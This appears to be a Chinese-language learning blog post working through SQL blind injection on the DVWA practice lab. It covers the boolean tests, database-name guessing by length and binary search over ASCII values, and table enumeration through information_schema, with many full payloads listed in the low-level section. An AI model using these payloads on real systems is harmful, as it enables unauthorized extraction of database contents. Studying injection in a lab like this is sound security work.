簡析
在此之前,已經學習了SQL注入,盲注是注入的進一步方法,更接近實戰。而且因為“盲”字,注入也變得異常繁瑣。本篇將先對DVWA的四個等級的盲注進行學習分析;然后是對盲注方法的學習心得。
在第一篇,我提到過:
習慣上輸入1,可以看到返回對應1的數據庫中的內容,而且輸出三行,分別是
ID:1First name:xxxSurname:xxx具體內容不管,總之第一行是輸入的內容,原封不動顯示了,二三行是可以我們直接用來顯式顯示的內容欄。
DVWA - SQL盲注
【1】low
第一步,
習慣輸入1,返回User ID exists in the database. 雖然沒有展示數據庫里面的內容,但是也有反饋,還能接受。
第二步,
輸入 1 and 1=2 ,依舊返回存在,可以判定存在注入點。
輸入 1' and 1=2 # ,返回miss,到這里就可以判定,可以進行SQL字符型盲注。
第三步,
需要說明一下,這里盲注的基本思路是二分法,因為現在只有exists和miss兩個選項,所以只能二分查找,一點點的找,查找的基本步驟跟注入順序基本一致。現在先猜庫名:
1.猜庫名的字符長度:
輸入 1’ and length(database())=1 # ,顯示MISS;
繼續加碼, 1’ and length(database())=2 # ,依舊MISS;
繼續。。。直到 1’ and length(database())=4 # ,顯示exists;
猜測成功,長度為4。
2.猜庫名第一個字符:
輸入 1’ and ascii(substr(databse(),1,1))>97 # ,顯示存在,說明第一個是大於 a 的字母;
輸入 1’ and ascii(substr(databse(),1,1))<122 # ,顯示存在,說明小於 z;
二分 1’ and ascii(substr(databse(),1,1))>109 # ,顯示不存在,說明小於 m;
以此類推,最后顯示 1’ and ascii(substr(databse(),1,1))>100 # 和 1’ and ascii(substr(databse(),1,1))<100 # 都不存在,說明第一個字母就是ASCII100對應的字母 d 。
3.庫名剩余字母:
這個時候我就感覺有點煩了,這樣寫實在是麻煩,需要用新的方法,而不是再手工猜測,就想到利用python進行盲注攻擊。雖然說手工寫很cool,並可以熟悉SQL,但是我想還是造工具進步更快一點。這里留坑,計划用python+burp suits,有點像暴力破解,盲注嘛,本來就是暴力一點,等結束暴力破解篇,補上這里。
不過目前還是先繼續用二分法獲得剩下的庫名字符。
第四步,
現在既然知道了庫的名字,就該暴表了,與第一篇SQL注入攻擊同樣的道理,先確定表數量,再確定表名稱;下面列出用到的所有注入代碼,一行代表一次,注釋就是返回結果:
/*確定庫里有多少個表*/ 1' and (select count(table_name) from information_schema.tables where table_schema = database())=1# --miss 1' and (select count(table_name) from information_schema.tables where table_schema = database())=2# --exists /*確定第一個表字符長度*/ 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) = 1# --miss 。。。 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) = 9# --exists /*確定第二個表字符長度*/ 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)) = 1# --miss 。。。 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)) = 5# --exists /*確定第一個表第一個字母*/ 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 97# --exists 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) < 122# --exists 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 109# --miss 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 103# --miss 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100# --exists 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 102# --exists,驗證103 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103# --exists /*之后全是這個套路得到兩個表的名稱guestbook、users*/
第五步,
根據表暴列,同樣的道理,試出列的數量,然后每個列試出列名;再根據列名選擇試出需要的數據,這里不再贅述。
最后總結:
以下是我覺得需要說明,也是以后提醒自己的幾個小點:
- substr函數,不像C系語言里一樣,它的第二個參數,是從1開始的,也就是說,假設截取第一位到第四位的str,substr(str, 1, 4);
- ascii函數,在二分法猜字符中經常用到!
- table_name, column_name分別是information_schema中tables和columns的,注意對應,table_schema是查詢時where里的表名
- length()函數也可以用大於小於二分法快速找到
- limit(m,n)函數,m從0開始,n是指讀取n條
這里是對information_schema的簡要說明,值得一讀,留坑以后隨着學習詳細再說。
【2】medium
在上一篇中提到了hackbar的用法,其實這里的medium,跟注入攻擊的如出一轍,現在就是把盲注代碼,從輸入框輸入,變成了在post輸入,然后執行。如果這里不會,可以到我上一篇的medium那里,有相關解釋。
注意記得先用1 'and 1=1#測試一下,看代碼是不是注釋掉了',如果注釋掉了,就把 ‘ 和 # 刪除,其他跟low完全一樣。
【3】high
這里跟low區別是,輸入跟顯示不在一個頁面,但是不影響注入,跟low一樣就行。
這里留坑,對四個難度的源代碼進行分析
【4】impossible
impossible等級用的pdo,目前貌似是沒法注入
目前找到的方案是關於PDO的,Are PDO safe?,但是現在我還看不懂。。。新坑
推薦博客:
python mysql盲注腳本 - 夜班機器人的博客 - CSDN博客
着兩篇內容很有意思。